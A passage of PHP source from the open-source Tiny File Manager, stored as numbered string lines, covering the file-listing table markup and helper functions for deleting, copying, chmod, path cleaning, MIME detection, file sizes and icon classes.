type=\"checkbox\" class=\"custom-control-input\" id=\"<?php echo \$ik ?>\" name=\"file[]\" value=\"<?php echo fm_enc(\$f) ?>\">", 2016 => "                            <label class=\"custom-control-label\" for=\"<?php echo \$ik ?>\"></label>", 2017 => "                        </div>", 2018 => "                        </td><?php endif; ?>", 2019 => "                    <td>", 2020 => "                        <div class=\"filename\">", 2021 => "                        <?php", 2022 => "                           if (in_array(strtolower(pathinfo(\$f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>", 2023 => "                                <?php \$imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$f); ?>", 2024 => "                                <a href=\"<?php echo \$filelink ?>\" data-preview-image=\"<?php echo \$imagePreview ?>\" title=\"<?php echo fm_enc(\$f) ?>\">", 2025 => "                           <?php else: ?>", 2026 => "                                <a href=\"<?php echo \$filelink ?>\" title=\"<?php echo \$f ?>\">", 2027 => "                            <?php endif; ?>", 2028 => "                                    <i class=\"<?php echo \$img ?>\"></i> <?php echo fm_convert_win(fm_enc(\$f)) ?>", 2029 => "                                </a>", 2030 => "                                <?php echo(\$is_link ? ' &rarr; <i>' . readlink(\$path . '/' . \$f) . '</i>' : '') ?>", 2031 => "                        </div>", 2032 => "                    </td>", 2033 => "                    <td data-sort=b-\"<?php echo str_pad(\$filesize_raw, 18, \"0\", STR_PAD_LEFT); ?>\"><span title=\"<?php printf('%s bytes', \$filesize_raw) ?>\">", 2034 => "                        <?php echo \$filesize; ?>", 2035 => "                        </span></td>", 2036 => "                    <td data-sort=\"b-<?php echo \$modif_raw;?>\"><?php echo \$modif ?></td>", 2037 => "                    <?php if (!FM_IS_WIN && !\$hide_Cols): ?>", 2038 => "                        <td><?php if (!FM_READONLY): ?><a title=\"<?php echo 'Change Permissions' ?>\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode(\$f) ?>\"><?php echo \$perms ?></a><?php else: ?><?php echo \$perms ?><?php endif; ?>", 2039 => "                        </td>", 2040 => "                        <td><?php echo fm_enc(\$owner['name'] . ':' . \$group['name']) ?></td>", 2041 => "                    <?php endif; ?>", 2042 => "                    <td class=\"inline-actions\">", 2043 => "                        <a title=\"<?php echo lng('Preview') ?>\" href=\"<?php echo \$filelink.'&quickView=1'; ?>\" data-toggle=\"lightbox\" data-gallery=\"tiny-gallery\" data-title=\"<?php echo fm_convert_win(fm_enc(\$f)) ?>\" data-max-width=\"100%\" data-width=\"100%\"><i class=\"fa fa-eye\"></i></a>", 2044 => "                        <?php if (!FM_READONLY): ?>", 2045 => "                            <a title=\"<?php echo lng('Delete') ?>\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode(\$f) ?>\" onclick=\"return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\\n \\n ( <?php echo urlencode(\$f) ?> )');\"> <i class=\"fa fa-trash-o\"></i></a>", 2046 => "                            <a title=\"<?php echo lng('Rename') ?>\" href=\"#\" onclick=\"rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes(\$f)) ?>');return false;\"><i class=\"fa fa-pencil-square-o\"></i></a>", 2047 => "                            <a title=\"<?php echo lng('CopyTo') ?>...\"", 2048 => "                               href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . \$f, '/')) ?>\"><i class=\"fa fa-files-o\"></i></a>", 2049 => "                        <?php endif; ?>", 2050 => "                        <a title=\"<?php echo lng('DirectLink') ?>\" href=\"<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . \$f) ?>\" target=\"_blank\"><i class=\"fa fa-link\"></i></a>", 2051 => "                        <a title=\"<?php echo lng('Download') ?>\" href=\"?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode(\$f) ?>\"><i class=\"fa fa-download\"></i></a>", 2052 => "                    </td>", 2053 => "                </tr>", 2054 => "                <?php", 2055 => "                flush();", 2056 => "                \$ik++;", 2057 => "            }", 2058 => "", 2059 => "            if (empty(\$folders) && empty(\$files)) {", 2060 => "                ?>", 2061 => "                <tfoot>", 2062 => "                    <tr><?php if (!FM_READONLY): ?>", 2063 => "                            <td></td><?php endif; ?>", 2064 => "                        <td colspan=\"<?php echo (!FM_IS_WIN && !\$hide_Cols) ? '6' : '4' ?>\"><em><?php echo 'Folder is empty' ?></em></td>", 2065 => "                    </tr>", 2066 => "                </tfoot>", 2067 => "                <?php", 2068 => "            } else {", 2069 => "                ?>", 2070 => "                <tfoot>", 2071 => "                    <tr><?php if (!FM_READONLY): ?>", 2072 => "                            <td class=\"gray\"></td><?php endif; ?>", 2073 => "                        <td class=\"gray\" colspan=\"<?php echo (!FM_IS_WIN && !\$hide_Cols) ? '6' : '4' ?>\">", 2074 => "                            <?php echo lng('FullSize').': <span class=\"badge badge-light\">'.fm_get_filesize(\$all_files_size).'</span>' ?>", 2075 => "                            <?php echo lng('File').': <span class=\"badge badge-light\">'.\$num_files.'</span>' ?>", 2076 => "                            <?php echo lng('Folder').': <span class=\"badge badge-light\">'.\$num_folders.'</span>' ?>", 2077 => "                            <?php echo lng('PartitionSize').': <span class=\"badge badge-light\">'.fm_get_filesize(@disk_free_space(\$path)) .'</span> '.lng('FreeOf').' <span class=\"badge badge-light\">'.fm_get_filesize(@disk_total_space(\$path)).'</span>'; ?>", 2078 => "                        </td>", 2079 => "                    </tr>", 2080 => "                </tfoot>", 2081 => "                <?php", 2082 => "            }", 2083 => "            ?>", 2084 => "        </table>", 2085 => "    </div>", 2086 => "", 2087 => "    <div class=\"row\">", 2088 => "        <?php if (!FM_READONLY): ?>", 2089 => "        <div class=\"col-xs-12 col-sm-9\">", 2090 => "            <ul class=\"list-inline footer-action\">", 2091 => "                <li class=\"list-inline-item\"> <a href=\"#/select-all\" class=\"btn btn-small btn-outline-primary btn-2\" onclick=\"select_all();return false;\"><i class=\"fa fa-check-square\"></i> <?php echo lng('SelectAll') ?> </a></li>", 2092 => "                <li class=\"list-inline-item\"><a href=\"#/unselect-all\" class=\"btn btn-small btn-outline-primary btn-2\" onclick=\"unselect_all();return false;\"><i class=\"fa fa-window-close\"></i> <?php echo lng('UnSelectAll') ?> </a></li>", 2093 => "                <li class=\"list-inline-item\"><a href=\"#/invert-all\" class=\"btn btn-small btn-outline-primary btn-2\" onclick=\"invert_all();return false;\"><i class=\"fa fa-th-list\"></i> <?php echo lng('InvertSelection') ?> </a></li>", 2094 => "                <li class=\"list-inline-item\"><input type=\"submit\" class=\"hidden\" name=\"delete\" id=\"a-delete\" value=\"Delete\" onclick=\"return confirm('<?php echo lng('Delete selected files and folders?'); ?>')\">", 2095 => "                    <a href=\"javascript:document.getElementById('a-delete').click();\" class=\"btn btn-small btn-outline-primary btn-2\"><i class=\"fa fa-trash\"></i> <?php echo lng('Delete') ?> </a></li>", 2096 => "                <li class=\"list-inline-item\"><input type=\"submit\" class=\"hidden\" name=\"zip\" id=\"a-zip\" value=\"zip\" onclick=\"return confirm('<?php echo lng('Create archive?'); ?>')\">", 2097 => "                    <a href=\"javascript:document.getElementById('a-zip').click();\" class=\"btn btn-small btn-outline-primary btn-2\"><i class=\"fa fa-file-archive-o\"></i> <?php echo lng('Zip') ?> </a></li>", 2098 => "                <li class=\"list-inline-item\"><input type=\"submit\" class=\"hidden\" name=\"tar\" id=\"a-tar\" value=\"tar\" onclick=\"return confirm('<?php echo lng('Create archive?'); ?>')\">", 2099 => "                    <a href=\"javascript:document.getElementById('a-tar').click();\" class=\"btn btn-small btn-outline-primary btn-2\"><i class=\"fa fa-file-archive-o\"></i> <?php echo lng('Tar') ?> </a></li>", 2100 => "                <li class=\"list-inline-item\"><input type=\"submit\" class=\"hidden\" name=\"copy\" id=\"a-copy\" value=\"Copy\">", 2101 => "                    <a href=\"javascript:document.getElementById('a-copy').click();\" class=\"btn btn-small btn-outline-primary btn-2\"><i class=\"fa fa-files-o\"></i> <?php echo lng('Copy') ?> </a></li>", 2102 => "            </ul>", 2103 => "        </div>", 2104 => "        <div class=\"col-3 d-none d-sm-block\"><a href=\"https://tinyfilemanager.github.io\" target=\"_blank\" class=\"float-right text-muted\">Tiny File Manager <?php echo VERSION; ?></a></div>", 2105 => "        <?php else: ?>", 2106 => "            <div class=\"col-12\"><a href=\"https://tinyfilemanager.github.io\" target=\"_blank\" class=\"float-right text-muted\">Tiny File Manager <?php echo VERSION; ?></a></div>", 2107 => "        <?php endif; ?>", 2108 => "    </div>", 2109 => "", 2110 => "</form>", 2111 => "", 2112 => "<?php", 2113 => "fm_show_footer();", 2114 => "", 2115 => "//--- END", 2116 => "", 2117 => "// Functions", 2118 => "", 2119 => "/**", 2120 => " * Check if the filename is allowed.", 2121 => " * @param string \$filename", 2122 => " * @return bool", 2123 => " */", 2124 => "function fm_is_file_allowed(\$filename)", 2125 => "{", 2126 => "    // By default, no file is allowed", 2127 => "    \$allowed = false;", 2128 => "", 2129 => "    if (FM_EXTENSION) {", 2130 => "        \$ext = strtolower(pathinfo(\$filename, PATHINFO_EXTENSION));", 2131 => "", 2132 => "        if (in_array(\$ext, explode(',', strtolower(FM_EXTENSION)))) {", 2133 => "            \$allowed = true;", 2134 => "        }", 2135 => "    }", 2136 => "", 2137 => "    return \$allowed;", 2138 => "}", 2139 => "", 2140 => "/**", 2141 => " * Delete  file or folder (recursively)", 2142 => " * @param string \$path", 2143 => " * @return bool", 2144 => " */", 2145 => "function fm_rdelete(\$path)", 2146 => "{", 2147 => "    if (is_link(\$path)) {", 2148 => "        return unlink(\$path);", 2149 => "    } elseif (is_dir(\$path)) {", 2150 => "        \$objects = scandir(\$path);", 2151 => "        \$ok = true;", 2152 => "        if (is_array(\$objects)) {", 2153 => "            foreach (\$objects as \$file) {", 2154 => "                if (\$file != '.' && \$file != '..') {", 2155 => "                    if (!fm_rdelete(\$path . '/' . \$file)) {", 2156 => "                        \$ok = false;", 2157 => "                    }", 2158 => "                }", 2159 => "            }", 2160 => "        }", 2161 => "        return (\$ok) ? rmdir(\$path) : false;", 2162 => "    } elseif (is_file(\$path)) {", 2163 => "        return unlink(\$path);", 2164 => "    }", 2165 => "    return false;", 2166 => "}", 2167 => "", 2168 => "/**", 2169 => " * Recursive chmod", 2170 => " * @param string \$path", 2171 => " * @param int \$filemode", 2172 => " * @param int \$dirmode", 2173 => " * @return bool", 2174 => " * @todo Will use in mass chmod", 2175 => " */", 2176 => "function fm_rchmod(\$path, \$filemode, \$dirmode)", 2177 => "{", 2178 => "    if (is_dir(\$path)) {", 2179 => "        if (!chmod(\$path, \$dirmode)) {", 2180 => "            return false;", 2181 => "        }", 2182 => "        \$objects = scandir(\$path);", 2183 => "        if (is_array(\$objects)) {", 2184 => "            foreach (\$objects as \$file) {", 2185 => "                if (\$file != '.' && \$file != '..') {", 2186 => "                    if (!fm_rchmod(\$path . '/' . \$file, \$filemode, \$dirmode)) {", 2187 => "                        return false;", 2188 => "                    }", 2189 => "                }", 2190 => "            }", 2191 => "        }", 2192 => "        return true;", 2193 => "    } elseif (is_link(\$path)) {", 2194 => "        return true;", 2195 => "    } elseif (is_file(\$path)) {", 2196 => "        return chmod(\$path, \$filemode);", 2197 => "    }", 2198 => "    return false;", 2199 => "}", 2200 => "", 2201 => "/**", 2202 => " * Check the file extension which is allowed or not", 2203 => " * @param string \$filename", 2204 => " * @return bool", 2205 => " */", 2206 => "function fm_is_valid_ext(\$filename)", 2207 => "{", 2208 => "    \$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;", 2209 => "", 2210 => "    \$ext = pathinfo(\$filename, PATHINFO_EXTENSION);", 2211 => "    \$isFileAllowed = (\$allowed) ? in_array(\$ext, \$allowed) : true;", 2212 => "", 2213 => "    return (\$isFileAllowed) ? true : false;", 2214 => "}", 2215 => "", 2216 => "/**", 2217 => " * Safely rename", 2218 => " * @param string \$old", 2219 => " * @param string \$new", 2220 => " * @return bool|null", 2221 => " */", 2222 => "function fm_rename(\$old, \$new)", 2223 => "{", 2224 => "    \$isFileAllowed = fm_is_valid_ext(\$new);", 2225 => "", 2226 => "    if(!\$isFileAllowed) return false;", 2227 => "", 2228 => "    return (!file_exists(\$new) && file_exists(\$old)) ? rename(\$old, \$new) : null;", 2229 => "}", 2230 => "", 2231 => "/**", 2232 => " * Copy file or folder (recursively).", 2233 => " * @param string \$path", 2234 => " * @param string \$dest", 2235 => " * @param bool \$upd Update files", 2236 => " * @param bool \$force Create folder with same names instead file", 2237 => " * @return bool", 2238 => " */", 2239 => "function fm_rcopy(\$path, \$dest, \$upd = true, \$force = true)", 2240 => "{", 2241 => "    if (is_dir(\$path)) {", 2242 => "        if (!fm_mkdir(\$dest, \$force)) {", 2243 => "            return false;", 2244 => "        }", 2245 => "        \$objects = scandir(\$path);", 2246 => "        \$ok = true;", 2247 => "        if (is_array(\$objects)) {", 2248 => "            foreach (\$objects as \$file) {", 2249 => "                if (\$file != '.' && \$file != '..') {", 2250 => "                    if (!fm_rcopy(\$path . '/' . \$file, \$dest . '/' . \$file)) {", 2251 => "                        \$ok = false;", 2252 => "                    }", 2253 => "                }", 2254 => "            }", 2255 => "        }", 2256 => "        return \$ok;", 2257 => "    } elseif (is_file(\$path)) {", 2258 => "        return fm_copy(\$path, \$dest, \$upd);", 2259 => "    }", 2260 => "    return false;", 2261 => "}", 2262 => "", 2263 => "/**", 2264 => " * Safely create folder", 2265 => " * @param string \$dir", 2266 => " * @param bool \$force", 2267 => " * @return bool", 2268 => " */", 2269 => "function fm_mkdir(\$dir, \$force)", 2270 => "{", 2271 => "    if (file_exists(\$dir)) {", 2272 => "        if (is_dir(\$dir)) {", 2273 => "            return \$dir;", 2274 => "        } elseif (!\$force) {", 2275 => "            return false;", 2276 => "        }", 2277 => "        unlink(\$dir);", 2278 => "    }", 2279 => "    return mkdir(\$dir, 0777, true);", 2280 => "}", 2281 => "", 2282 => "/**", 2283 => " * Safely copy file", 2284 => " * @param string \$f1", 2285 => " * @param string \$f2", 2286 => " * @param bool \$upd Indicates if file should be updated with new content", 2287 => " * @return bool", 2288 => " */", 2289 => "function fm_copy(\$f1, \$f2, \$upd)", 2290 => "{", 2291 => "    \$time1 = filemtime(\$f1);", 2292 => "    if (file_exists(\$f2)) {", 2293 => "        \$time2 = filemtime(\$f2);", 2294 => "        if (\$time2 >= \$time1 && \$upd) {", 2295 => "            return false;", 2296 => "        }", 2297 => "    }", 2298 => "    \$ok = copy(\$f1, \$f2);", 2299 => "    if (\$ok) {", 2300 => "        touch(\$f2, \$time1);", 2301 => "    }", 2302 => "    return \$ok;", 2303 => "}", 2304 => "", 2305 => "/**", 2306 => " * Get mime type", 2307 => " * @param string \$file_path", 2308 => " * @return mixed|string", 2309 => " */", 2310 => "function fm_get_mime_type(\$file_path)", 2311 => "{", 2312 => "    if (function_exists('finfo_open')) {", 2313 => "        \$finfo = finfo_open(FILEINFO_MIME_TYPE);", 2314 => "        \$mime = finfo_file(\$finfo, \$file_path);", 2315 => "        finfo_close(\$finfo);", 2316 => "        return \$mime;", 2317 => "    } elseif (function_exists('mime_content_type')) {", 2318 => "        return mime_content_type(\$file_path);", 2319 => "    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {", 2320 => "        \$file = escapeshellarg(\$file_path);", 2321 => "        \$mime = shell_exec('file -bi ' . \$file);", 2322 => "        return \$mime;", 2323 => "    } else {", 2324 => "        return '--';", 2325 => "    }", 2326 => "}", 2327 => "", 2328 => "/**", 2329 => " * HTTP Redirect", 2330 => " * @param string \$url", 2331 => " * @param int \$code", 2332 => " */", 2333 => "function fm_redirect(\$url, \$code = 302)", 2334 => "{", 2335 => "    header('Location: ' . \$url, true, \$code);", 2336 => "    exit;", 2337 => "}", 2338 => "", 2339 => "/**", 2340 => " * Path traversal prevention and clean the url", 2341 => " * It replaces (consecutive) occurrences of / and \\\\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.", 2342 => " * @param \$path", 2343 => " * @return string", 2344 => " */", 2345 => "function get_absolute_path(\$path) {", 2346 => "    \$path = str_replace(array('/', '\\\\'), DIRECTORY_SEPARATOR, \$path);", 2347 => "    \$parts = array_filter(explode(DIRECTORY_SEPARATOR, \$path), 'strlen');", 2348 => "    \$absolutes = array();", 2349 => "    foreach (\$parts as \$part) {", 2350 => "        if ('.' == \$part) continue;", 2351 => "        if ('..' == \$part) {", 2352 => "            array_pop(\$absolutes);", 2353 => "        } else {", 2354 => "            \$absolutes[] = \$part;", 2355 => "        }", 2356 => "    }", 2357 => "    return implode(DIRECTORY_SEPARATOR, \$absolutes);", 2358 => "}", 2359 => "", 2360 => "/**", 2361 => " * Clean path", 2362 => " * @param string \$path", 2363 => " * @return string", 2364 => " */", 2365 => "function fm_clean_path(\$path, \$trim = true)", 2366 => "{", 2367 => "    \$path = \$trim ? trim(\$path) : \$path;", 2368 => "    \$path = trim(\$path, '\\\\/');", 2369 => "    \$path = str_replace(array('../', '..\\\\'), '', \$path);", 2370 => "    \$path =  get_absolute_path(\$path);", 2371 => "    if (\$path == '..') {", 2372 => "        \$path = '';", 2373 => "    }", 2374 => "    return str_replace('\\\\', '/', \$path);", 2375 => "}", 2376 => "", 2377 => "/**", 2378 => " * Get parent path", 2379 => " * @param string \$path", 2380 => " * @return bool|string", 2381 => " */", 2382 => "function fm_get_parent_path(\$path)", 2383 => "{", 2384 => "    \$path = fm_clean_path(\$path);", 2385 => "    if (\$path != '') {", 2386 => "        \$array = explode('/', \$path);", 2387 => "        if (count(\$array) > 1) {", 2388 => "            \$array = array_slice(\$array, 0, -1);", 2389 => "            return implode('/', \$array);", 2390 => "        }", 2391 => "        return '';", 2392 => "    }", 2393 => "    return false;", 2394 => "}", 2395 => "", 2396 => "/**", 2397 => " * Check file is in exclude list", 2398 => " * @param string \$file", 2399 => " * @return bool", 2400 => " */", 2401 => "function fm_is_exclude_items(\$file) {", 2402 => "    \$ext = strtolower(pathinfo(\$file, PATHINFO_EXTENSION));", 2403 => "    if (isset(\$exclude_items) and sizeof(\$exclude_items)) {", 2404 => "        unset(\$exclude_items);", 2405 => "    }", 2406 => "", 2407 => "    \$exclude_items = FM_EXCLUDE_ITEMS;", 2408 => "    if (version_compare(PHP_VERSION, '7.0.0', '<')) {", 2409 => "        \$exclude_items = unserialize(\$exclude_items);", 2410 => "    }", 2411 => "    if (!in_array(\$file, \$exclude_items) && !in_array(\"*.\$ext\", \$exclude_items)) {", 2412 => "        return true;", 2413 => "    }", 2414 => "    return false;", 2415 => "}", 2416 => "", 2417 => "/**", 2418 => " * get language translations from json file", 2419 => " * @param int \$tr", 2420 => " * @return array", 2421 => " */", 2422 => "function fm_get_translations(\$tr) {", 2423 => "    try {", 2424 => "        \$content = @file_get_contents('translation.json');", 2425 => "        if(\$content !== FALSE) {", 2426 => "            \$lng = json_decode(\$content, TRUE);", 2427 => "            global \$lang_list;", 2428 => "            foreach (\$lng[\"language\"] as \$key => \$value)", 2429 => "            {", 2430 => "                \$code = \$value[\"code\"];", 2431 => "                \$lang_list[\$code] = \$value[\"name\"];", 2432 => "                if (\$tr)", 2433 => "                    \$tr[\$code] = \$value[\"translation\"];", 2434 => "            }", 2435 => "            return \$tr;", 2436 => "        }", 2437 => "", 2438 => "    }", 2439 => "    catch (Exception \$e) {", 2440 => "        echo \$e;", 2441 => "    }", 2442 => "}", 2443 => "", 2444 => "/**", 2445 => " * @param \$file", 2446 => " * Recover all file sizes larger than > 2GB.", 2447 => " * Works on php 32bits and 64bits and supports linux", 2448 => " * @return int|string", 2449 => " */", 2450 => "function fm_get_size(\$file)", 2451 => "{", 2452 => "    static \$iswin;", 2453 => "    static \$isdarwin;", 2454 => "    if (!isset(\$iswin)) {", 2455 => "        \$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');", 2456 => "    }", 2457 => "    if (!isset(\$isdarwin)) {", 2458 => "        \$isdarwin = (strtoupper(substr(PHP_OS, 0)) == \"DARWIN\");", 2459 => "    }", 2460 => "", 2461 => "    static \$exec_works;", 2462 => "    if (!isset(\$exec_works)) {", 2463 => "        \$exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');", 2464 => "    }", 2465 => "", 2466 => "    // try a shell command", 2467 => "    if (\$exec_works) {", 2468 => "        \$arg = escapeshellarg(\$file);", 2469 => "        \$cmd = (\$iswin) ? \"for %F in (\\\"\$file\\\") do @echo %~zF\" : (\$isdarwin ? \"stat -f%z \$arg\" : \"stat -c%s \$arg\");", 2470 => "        @exec(\$cmd, \$output);", 2471 => "        if (is_array(\$output) && ctype_digit(\$size = trim(implode(\"\\n\", \$output)))) {", 2472 => "            return \$size;", 2473 => "        }", 2474 => "    }", 2475 => "", 2476 => "    // try the Windows COM interface", 2477 => "    if (\$iswin && class_exists(\"COM\")) {", 2478 => "        try {", 2479 => "            \$fsobj = new COM('Scripting.FileSystemObject');", 2480 => "            \$f = \$fsobj->GetFile( realpath(\$file) );", 2481 => "            \$size = \$f->Size;", 2482 => "        } catch (Exception \$e) {", 2483 => "            \$size = null;", 2484 => "        }", 2485 => "        if (ctype_digit(\$size)) {", 2486 => "            return \$size;", 2487 => "        }", 2488 => "    }", 2489 => "", 2490 => "    // if all else fails", 2491 => "    return filesize(\$file);", 2492 => "}", 2493 => "", 2494 => "/**", 2495 => " * Get nice filesize", 2496 => " * @param int \$size", 2497 => " * @return string", 2498 => " */", 2499 => "function fm_get_filesize(\$size)", 2500 => "{", 2501 => "    \$size = (float) \$size;", 2502 => "    \$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');", 2503 => "    \$power = \$size > 0 ? floor(log(\$size, 1024)) : 0;", 2504 => "    return sprintf('%s %s', round(\$size / pow(1024, \$power), 2), \$units[\$power]);", 2505 => "}", 2506 => "", 2507 => "/**", 2508 => " * Get director total size", 2509 => " * @param string \$directory", 2510 => " * @return int", 2511 => " */", 2512 => "function fm_get_directorysize(\$directory) {", 2513 => "    global \$calc_folder;", 2514 => "    if (\$calc_folder==true) { //  Slower output", 2515 => "      \$size = 0;  \$count= 0;  \$dirCount= 0;", 2516 => "    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$directory)) as \$file)", 2517 => "    if (\$file->isFile())", 2518 => "        {   \$size+=\$file->getSize();", 2519 => "            \$count++;", 2520 => "        }", 2521 => "    else if (\$file->isDir()) { \$dirCount++; }", 2522 => "    // return [\$size, \$count, \$dirCount];", 2523 => "    return \$size;", 2524 => "    }", 2525 => "    else return 'Folder'; //  Quick output", 2526 => "}", 2527 => "", 2528 => "/**", 2529 => " * Get info about zip archive", 2530 => " * @param string \$path", 2531 => " * @return array|bool", 2532 => " */", 2533 => "function fm_get_zif_info(\$path, \$ext) {", 2534 => "    if (\$ext == 'zip' && function_exists('zip_open')) {", 2535 => "        \$arch = zip_open(\$path);", 2536 => "        if (\$arch) {", 2537 => "            \$filenames = array();", 2538 => "            while (\$zip_entry = zip_read(\$arch)) {", 2539 => "                \$zip_name = zip_entry_name(\$zip_entry);", 2540 => "                \$zip_folder = substr(\$zip_name, -1) == '/';", 2541 => "                \$filenames[] = array(", 2542 => "                    'name' => \$zip_name,", 2543 => "                    'filesize' => zip_entry_filesize(\$zip_entry),", 2544 => "                    'compressed_size' => zip_entry_compressedsize(\$zip_entry),", 2545 => "                    'folder' => \$zip_folder", 2546 => "                    //'compression_method' => zip_entry_compressionmethod(\$zip_entry),", 2547 => "                );", 2548 => "            }", 2549 => "            zip_close(\$arch);", 2550 => "            return \$filenames;", 2551 => "        }", 2552 => "    } elseif(\$ext == 'tar' && class_exists('PharData')) {", 2553 => "        \$archive = new PharData(\$path);", 2554 => "        \$filenames = array();", 2555 => "        foreach(new RecursiveIteratorIterator(\$archive) as \$file) {", 2556 => "            \$parent_info = \$file->getPathInfo();", 2557 => "            \$zip_name = str_replace(\"phar://\".\$path, '', \$file->getPathName());", 2558 => "            \$zip_name = substr(\$zip_name, (\$pos = strpos(\$zip_name, '/')) !== false ? \$pos + 1 : 0);", 2559 => "            \$zip_folder = \$parent_info->getFileName();", 2560 => "            \$zip_info = new SplFileInfo(\$file);", 2561 => "            \$filenames[] = array(", 2562 => "                'name' => \$zip_name,", 2563 => "                'filesize' => \$zip_info->getSize(),", 2564 => "                'compressed_size' => \$file->getCompressedSize(),", 2565 => "                'folder' => \$zip_folder", 2566 => "            );", 2567 => "        }", 2568 => "        return \$filenames;", 2569 => "    }", 2570 => "    return false;", 2571 => "}", 2572 => "", 2573 => "/**", 2574 => " * Encode html entities", 2575 => " * @param string \$text", 2576 => " * @return string", 2577 => " */", 2578 => "function fm_enc(\$text)", 2579 => "{", 2580 => "    return htmlspecialchars(\$text, ENT_QUOTES, 'UTF-8');", 2581 => "}", 2582 => "", 2583 => "/**", 2584 => " * Prevent XSS attacks", 2585 => " * @param string \$text", 2586 => " * @return string", 2587 => " */", 2588 => "function fm_isvalid_filename(\$text) {", 2589 => "    return (strpbrk(\$text, '/?%*:|\"<>') === FALSE) ? true : false;", 2590 => "}", 2591 => "", 2592 => "/**", 2593 => " * Save message in session", 2594 => " * @param string \$msg", 2595 => " * @param string \$status", 2596 => " */", 2597 => "function fm_set_msg(\$msg, \$status = 'ok')", 2598 => "{", 2599 => "    \$_SESSION[FM_SESSION_ID]['message'] = \$msg;", 2600 => "    \$_SESSION[FM_SESSION_ID]['status'] = \$status;", 2601 => "}", 2602 => "", 2603 => "/**", 2604 => " * Check if string is in UTF-8", 2605 => " * @param string \$string", 2606 => " * @return int", 2607 => " */", 2608 => "function fm_is_utf8(\$string)", 2609 => "{", 2610 => "    return preg_match('//u', \$string);", 2611 => "}", 2612 => "", 2613 => "/**", 2614 => " * Convert file name to UTF-8 in Windows", 2615 => " * @param string \$filename", 2616 => " * @return string", 2617 => " */", 2618 => "function fm_convert_win(\$filename)", 2619 => "{", 2620 => "    if (FM_IS_WIN && function_exists('iconv')) {", 2621 => "        \$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', \$filename);", 2622 => "    }", 2623 => "    return \$filename;", 2624 => "}", 2625 => "", 2626 => "/**", 2627 => " * @param \$obj", 2628 => " * @return array", 2629 => " */", 2630 => "function fm_object_to_array(\$obj)", 2631 => "{", 2632 => "    if (!is_object(\$obj) && !is_array(\$obj)) {", 2633 => "        return \$obj;", 2634 => "    }", 2635 => "    if (is_object(\$obj)) {", 2636 => "        \$obj = get_object_vars(\$obj);", 2637 => "    }", 2638 => "    return array_map('fm_object_to_array', \$obj);", 2639 => "}", 2640 => "", 2641 => "/**", 2642 => " * Get CSS classname for file", 2643 => " * @param string \$path", 2644 => " * @return string", 2645 => " */", 2646 => "function fm_get_file_icon_class(\$path)", 2647 => "{", 2648 => "    // get extension", 2649 => "    \$ext = strtolower(pathinfo(\$path, PATHINFO_EXTENSION));", 2650 => "", 2651 => "    switch (\$ext) {", 2652 => "        case 'ico':", 2653 => "        case 'gif':", 2654 => "        case 'jpg':", 2655 => "        case 'jpeg':", 2656 => "        case 'jpc':", 2657 => "        case 'jp2':", 2658 => "        case 'jpx':", 2659 => "        case 'xbm':", 2660 => "        case 'wbmp':", 2661 => "        case 'png':", 2662 => "        case 'bmp':", 2663 => "        case 'tif':", 2664 => "        case 'tiff':", 2665 => "        case 'webp':", 2666 => "        case 'avif':", 2667 => "        case 'svg':", 2668 => "            \$img = 'fa fa-picture-o';", 2669 => "            break;", 2670 => "        case 'passwd':", 2671 => "        case 'ftpquota':", 2672 => "        case 'sql':", 2673 => "        case 'js':", 2674 => "        case 'json':", 2675 => "        case 'sh':", 2676 => "        case 'config':", 2677 => "        case 'twig':", 2678 => "        case 'tpl':", 2679 => "        case 'md':", 2680 => "        case 'gitignore':", 2681 => "        case 'c':", 2682 => "        case 'cpp':", 2683 => "        case 'cs':", 2684 => "        case 'py':", 2685 => "        case 'rs':", 2686 => "        case 'map':", 2687 => "        case 'lock':", 2688 => "        case 'dtd':", 2689 => "            \$img = 'fa fa-file-code-o';", 2690 => "            break;", 2691 => "        case 'txt':", 2692 => "        case 'ini':", 2693 => "        case 'conf':", 2694 => "        case 'log':", 2695 => "        case 'htaccess':", 2696 => "            \$img = 'fa fa-file-text-o';", 2697 => "            break;", 2698 => "        case 'css':", 2699 => "        case 'less':", 2700 => "        case 'sass':", 2701 => "        case 'scss':", 2702 => "            \$img = 'fa fa-css3';", 2703 => "            break;", 2704 => "        case 'bz2':", 2705 => "        case 'zip':", 2706 => "        case 'rar':", 2707 => "        case 'gz':", 2708 => "        case 'tar':", 2709 => "        case '7z':", 2710 => "        case 'xz':", 2711 => "            \$img = 'fa fa-file-archive-o';", 2712 => "            break;", 2713 => "        case 'php':", 2714 => "        case 'php4':", 2715 => "        case 'php5':", 2716 => "        case 'phps':", 2717 => "        case 'phtml':", 2718 => "            \$img = 'fa fa-code';", 2719 => "            break;", 2720 => "        case 'htm':", 2721 => "        case 'html':", 2722 => "        case 'shtml':", 2723 => "        case 'xhtml':", 2724 => "            \$img = 'fa fa-html5';", 2725 => "            break;", 2726 => "        case 'xml':", 2727 => "        case 'xsl':", 2728 => "            \$img = 'fa fa-file-excel-o';", 2729 => "            break;", 2730 => "        case 'wav':", 2731 => "        case 'mp3':", 2732 => "        case 'mp2':", 2733 => "        case 'm4a':", 2734 => "        case 'aac':", 2735 => "        case 'ogg':", 2736 => "        case 'oga':", 2737 => "        case 'wma':", 2738 => "        case 'mka':", 2739 => "        case 'flac':", 2740 => "        case 'ac3':", 2741 => "        case 'tds':", 2742 => "            \$img = 